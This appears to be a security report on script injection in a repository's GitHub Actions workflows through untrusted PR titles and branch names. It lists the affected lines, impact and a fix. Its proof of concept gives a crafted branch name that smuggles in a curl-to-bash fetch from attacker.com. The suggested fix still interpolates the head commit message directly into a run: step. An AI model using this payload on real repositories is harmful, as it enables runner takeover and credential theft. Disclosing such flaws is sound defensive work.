Security: GitHub Actions script injection via untrusted PR contexts
Summary
Several GitHub Actions workflows interpolate untrusted user-controlled contexts (github.event.pull_request.title, github.head_ref) directly into run: shell steps without sanitisation. An attacker can craft a pull request with a malicious branch name or title to execute arbitrary shell commands in the runner environment.
Affected files
| File | Line | Untrusted context |
|---|---|---|
| .github/workflows/deploy-DEV-linters.yml | 42 | github.event.pull_request.title |
| .github/workflows/deploy-DEV-linters.yml | 182 | github.head_ref |
| .github/workflows/deploy-DEV.yml | 170 | github.head_ref |
| .github/workflows/deploy-RELEASE-linters.yml | 161 | github.head_ref |
| .github/workflows/deploy-BETA-linters.yml | 177 | github.head_ref |
Proof of concept
deploy-DEV-linters.yml:42 — PR title injected directly into shell:
echo "title=${{ github.event.pull_request.title }}" >> $GITHUB_OUTPUT
deploy-DEV-linters.yml:182, deploy-DEV.yml:170, deploy-RELEASE-linters.yml:161, deploy-BETA-linters.yml:177 — branch name injected directly into shell:
GITHUB_BRANCH=$([ "${{ github.event_name }}" == "pull_request" ] && echo "${{ github.head_ref }}" || echo "${{ github.ref_name }}")
Attack vector — open a PR from a fork with a branch name such as:
feature/x"; curl -s https://attacker.com/shell.sh | bash; echo "
GitHub Actions interpolates the branch name before the shell parses the command. The surrounding quotes do not prevent injection.
Impact
Arbitrary command execution on the GitHub Actions runner. Depending on secrets and permissions available in the workflow, this may allow an attacker to:
- Exfiltrate
GITHUB_TOKENor registry credentials - Tamper with build artefacts
- Pivot to connected services
Recommended fix
Pass untrusted data through an env: block — never interpolate ${{ }} expressions directly into run: steps:
- name: Get PR title or commit message
id: get-title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
HEAD_REF: ${{ github.head_ref }}
REF_NAME: ${{ github.ref_name }}
EVENT_NAME: ${{ github.event_name }}
run: |
if [ "$EVENT_NAME" = "pull_request" ]; then
echo "title=${PR_TITLE}" >> $GITHUB_OUTPUT
else
echo "title=${{ github.event.head_commit.message }}" >> $GITHUB_OUTPUT
fi
GITHUB_BRANCH=$([ "$EVENT_NAME" == "pull_request" ] && echo "$HEAD_REF" || echo "$REF_NAME")
References
- GitHub Security Lab: Untrusted input in GitHub Actions
- GitHub Docs: Security hardening for GitHub Actions
- CWE-78: Improper Neutralisation of Special Elements used in an OS Command